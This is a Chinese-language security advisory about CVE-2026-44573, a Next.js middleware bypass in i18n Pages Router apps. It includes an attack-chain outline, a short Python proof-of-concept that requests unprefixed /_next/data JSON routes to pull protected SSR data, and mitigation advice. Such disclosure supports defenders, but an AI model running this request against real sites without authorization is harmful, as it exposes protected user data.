IPBUF安全漏洞报告
English
CVE-2026-44573 CVSS 7.5 高危

CVE-2026-44573 Next.js权限绕过导致信息泄露漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44573
漏洞类型
权限绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

权限绕过信息泄露Next.jsCVE-2026-44573中间件绕过

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。在12.2.0至15.5.16之前和16.2.5之前的版本中,使用Pages Router并配置了i18n及基于中间件授权的应用存在安全漏洞。攻击者可以通过无语言前缀的/_next/data/<buildId>/<page>.json请求,未经授权访问受保护页面的数据。由于中间件不为此未加前缀的数据路由运行,攻击者可绕过身份验证检索SSR JSON数据。该漏洞已在15.5.16和16.2.5版本中修复。

技术细节

该漏洞的核心在于Next.js处理国际化(i18n)路由与中间件执行逻辑的差异。在受影响的配置中,开发者通常依赖中间件来拦截并验证用户对特定页面的访问权限。然而,Next.js用于支持客户端导航的内部数据端点(/_next/data/...)在处理未包含语言前缀的请求时,可能不会正确触发关联的中间件链。具体而言,当应用配置了i18n,正常页面访问通常带有语言前缀(如/en/dashboard),中间件会对此进行鉴权。但如果攻击者直接访问底层数据接口/_next/data/<buildId>/dashboard.json,且该请求未匹配到i18n的重写规则,中间件可能被完全绕过。这使得攻击者能够直接获取服务端渲染(SSR)生成的JSON响应,从而泄露本应受保护的页面内容,导致敏感信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别目标应用使用Next.js框架,通过查看页面源代码或网络请求获取应用的buildId。
STEP 2
分析
确定应用是否配置了i18n(如存在/en、/fr等路径),并尝试寻找受中间件保护但可能存在数据泄露的敏感页面路径。
STEP 3
利用
构造特殊的URL请求,直接访问/_next/data/<buildId>/<page>.json,并在路径中故意省略语言前缀,试图绕过中间件检查。
STEP 4
数据获取
若漏洞存在,服务器将直接返回该页面服务端渲染的JSON数据,攻击者从中提取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_nextjs_vuln(target_url, build_id, page_path): # Construct the vulnerable endpoint without locale prefix # Example: http://target.com/_next/data/12345/protected.json vuln_url = f"{target_url.rstrip('/')}/_next/data/{build_id}/{page_path}.json" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' } try: response = requests.get(vuln_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected!") print(f"[+] URL: {vuln_url}") print(f"[+] Response Length: {len(response.content)} bytes") print(f"[+] Content Snippet: {response.text[:200]}...") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {str(e)}") return False # Usage example # target = "http://localhost:3000" # build_id = "BUILD_ID_FROM_SCRIPT" # Found in HTML source <script id="__NEXT_DATA__"> # page = "admin/dashboard" # The page path intended to be protected # check_nextjs_vuln(target, build_id, page)

影响范围

Next.js 12.2.0 至 15.5.15
Next.js 16.0.0 至 16.2.4

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理(如Nginx)或WAF层面配置规则,严格限制对/_next/data/路径下非标准前缀请求的访问,或直接阻断外部对该路径的直接访问,仅允许Next.js内部调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表